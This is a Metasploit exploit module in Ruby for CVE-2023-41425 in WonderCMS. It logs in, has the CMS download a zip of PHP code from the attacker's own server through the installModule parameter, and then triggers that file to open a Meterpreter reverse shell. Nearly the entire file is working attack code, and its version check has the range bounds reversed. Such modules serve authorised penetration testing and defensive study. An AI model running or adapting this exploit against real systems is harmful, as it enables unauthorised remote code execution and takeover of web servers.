##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WonderCMS Remote Code Execution',
        'Description' => %q{
          This module exploits CVE-2023-41425, an authenticated file upload vulnerability affecting WonderCMS between 3.2.0 and 3.4.2.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'msutovsky-r7', # msf module
          'Milad "Ex3ptionaL" Karimi' # original exploit
        ],
        'References' => [
          [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-41425'],
          [ 'URL', 'https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413'],
          [ 'CVE', '2023-41425'],
          [ 'EDB', '52271']
        ],
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => ['php'],
              'Arch' => ARCH_PHP,
              'Type' => :php,
              'DefaultOptions' => {
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DisclosureDate' => '2023-11-07',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path to the WonderCMS application', '/wondercms']),
      OptString.new('PASSWORD', [true, 'Password to log into WonderCMS', '']),
      OptBool.new('CLEANUP', [false, 'Enable payload file cleanup', true])
    ])
  end

  def login
    return if @logged_in

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/loginURL'),
      'keep_cookies' => true,
      'vars_post' => {
        'password' => datastore['PASSWORD']
      }
    })

    fail_with(Failure::NoAccess, 'Incorrect credentials') unless res&.code == 302 && !res.headers&.fetch('Location', '')&.include?('loginURL')

    @logged_in = true
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/how-to')
    })
    return Exploit::CheckCode::Unknown('Cannot connect to the remote host') unless res&.code == 200

    return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS')

    vprint_status('Target is probably WonderCMS..')

    login

    res = send_request_cgi!({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200

    html_document = res.get_html_document

    html_document.xpath('//a[@href="https://wondercms.com"]').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ }

    version = Rex::Version.new(Regexp.last_match(1))

    return Exploit::CheckCode::Unknown('Unable to get version') unless version

    return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") if version.between?(Rex::Version.new('3.4.2'), Rex::Version.new('3.2.0'))

    return Exploit::CheckCode::Vulnerable("Version #{version} is affected")
  end

  def create_vulnerable_zip
    @payload_filename = "#{Rex::Text.rand_text_alphanumeric(3..12)}.php"
    files =
      [
        { data: payload.encoded, fname: @payload_filename }
      ]

    @vuln_zip = Msf::Util::EXE.to_zip(files)
    register_file_for_cleanup(@payload_filename) if datastore['CLEANUP']
  end

  def on_request_uri(cli, _request)
    print_status('Received request, sending payload..')
    send_response(cli, @vuln_zip)
  end

  def install_malicious_component
    res = send_request_cgi!({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200

    html_document = res.get_html_document
    @token = html_document.at("input[@name='token']").attributes.fetch('value', nil)

    return Exploit::CheckCode::Unknown('Failed to get token') unless @token

    send_request_cgi!({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{srvhost_addr}:#{srvport}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}")
    })
  end

  def exploit
    login

    create_vulnerable_zip

    @zip_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.zip"
    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => "/#{@zip_filename}"
      }
    })

    install_malicious_component

    send_request_cgi!({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/themes/#{@payload_filename}")
    })
  end
end
